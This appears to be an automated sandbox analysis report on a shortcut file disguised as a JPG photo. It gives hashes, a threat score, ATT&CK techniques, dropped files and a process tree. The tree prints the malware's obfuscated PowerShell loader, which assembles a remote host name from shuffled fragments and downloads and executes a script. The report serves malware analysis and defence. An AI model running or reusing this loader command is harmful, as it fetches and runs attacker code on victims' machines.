eaff05f16f520ba95bcf5747922d4d1dd23a3f3c90fbfc2ae5a02bf8326986e8

Analysis

max time kernel
148s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 06:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260727_135129.jpg.lnk
Size 1KB
Sample260728-hf3ssadj4v
SHA256 eaff05f16f520ba95bcf5747922d4d1dd23a3f3c90fbfc2ae5a02bf8326986e8
MD5 89a8bb4285293f7d3368b2e2de932716
SHA1 5ab9c16e9d419a1d3c012e3af8bd9f1ffbbac321
SHA512 a730efa304568eb17e27b61b15c7e49e2e56c38ce37e8cd847d9f0c22000c7e306942f44df73e67da87a8c3bc4f3694bc192ceb5d16e21b468cb5aeb29fe0213
TLSH
T18931D2299BF21329D6B74B355876631187327B0EEA4CDFDF1280C1945565120F878F2B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4312	powershell.exe
3	4312	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2912	cmd.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4312	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2912 wrote to memory of 4312	2912	cmd.exe	90
PID 4312 wrote to memory of 3212	4312	powershell.exe	91
PID 3212 wrote to memory of 1196	3212	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_135129.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('r','staynow.sh','n','i','o','p','eser','o','vphot')[0,6,8,4,3,2,1,7,5] -join $oZQ3I) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4312
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yknufdst\yknufdst.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3212
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2793.tmp" "c:\Users\Admin\AppData\Local\Temp\yknufdst\CSC3F23833EE0954AE7AF247BA3FC5B215.TMP"
      4⤵
      PID:1196

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES2793.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES2793.tmp
Size 1KB
SHA256 24cd7c40c6bf28ac9d8b18686023e1751307de5fe119d92004df8c66de1d98ee
MD5 aca90f3d3740994721956b007584c40e
SHA1 be79d2b5404de47d28640752d6e6949ba6507208
SHA512 45b32ae6328858637ade0290195ee7f44c7b4e0b3651e4cd38d459ce002dbf51bea2bde09eb4b7cf6aa76bfb4d8271465848b542b5ff9e7728f13dc65ca070ae
TLSH
T1BA21EB0993E84B0FF0B74B3269F6071FA278FD64EFA1A75A8541022C2C41644EEF1B72
MD5 SHA1 SHA512 TLSH

Submit Download

yknufdst.dll

Path C:\Users\Admin\AppData\Local\Temp\yknufdst\yknufdst.dll
Size 3KB
SHA256 068fdc1d07ab4d2753888f94d3365e78d7b2bd6ff2a21b60f5534614899c81e2
MD5 a400b2cedb28d151ffa86d42a0954583
SHA1 eea815a532af997f670f788699400112fb35800f
SHA512 cffe38a0a5d4fdc53d10dac09ee788c3fe64fc502e3f751f727832154770130381e029f277ebc5347b5115519f3c3a6ddfbac0b25ab7fef6d9023883f45e0b4e
TLSH
T10151DC1A93E8467BE4770734AFF3075337B4FC109FB257695A800268AC207546E32BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC3F23833EE0954AE7AF247BA3FC5B215.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\yknufdst\CSC3F23833EE0954AE7AF247BA3FC5B215.TMP
Size 652B
SHA256 be6354015bf3f5993ef751fd4a8c022ab6c824e5d7537930b5073a5c2c573c3d
MD5 ffcdee325ef2a4933d38dc1d41b377e5
SHA1 7492ac877f4138bdba8b4699e098c3e8d9d9c66c
SHA512 55032935374b84cc4d366707db7aac75e655d83d699d1bda35e2733ea1a6fd7248b08320c1944fd310d666b195d07c8a4d68e0b8ab987c40e83e38b239eec1c5
TLSH
T113F05E0963F8020EF1F74B30BDF647A391A9BC65DE32A3ED5541035D2C646109972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

yknufdst.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\yknufdst\yknufdst.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

yknufdst.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\yknufdst\yknufdst.cmdline
Size 369B
SHA256 6f7de68a5cef878329e2a1d1c528a0447954bcac8259785ddfa4ce57e9c60021
MD5 199026e9b4c826cc522797be4156f44b
SHA1 34f9de7eafc3257dd25b1a79f1eb40b580eca706
SHA512 05b81d7698b7a51b591c5e3416f1cbc3f591c3284bf41daf4b8a059a4dc429788595338574007257c25651eef1d865d51884cb4e2adcc720112978a93214bb61
TLSH
T148E0C02B424EC77D01EF100761AAD6ACC2F20BC72B417F88D051489DD0A701AA7E174D
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4312-9-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp

Download

memory/4312-28-0x0000022E71730000-0x0000022E71738000-memory.dmp

Download

memory/4312-11-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp

Download

memory/4312-12-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp

Download

memory/4312-13-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp

Download

memory/4312-14-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp

Download

memory/4312-15-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp

Download

memory/4312-2-0x00007FFFB990F000-0x00007FFFB9910000-memory.dmp

Download

memory/4312-8-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp

Download

memory/4312-10-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp

Download

memory/4312-7-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp

Download

memory/4312-6-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp

Download

memory/4312-5-0x0000022E71260000-0x0000022E71282000-memory.dmp

Download

memory/4312-29-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp

Download

memory/4312-30-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp

Download

memory/4312-31-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp

Download

memory/4312-33-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp

Download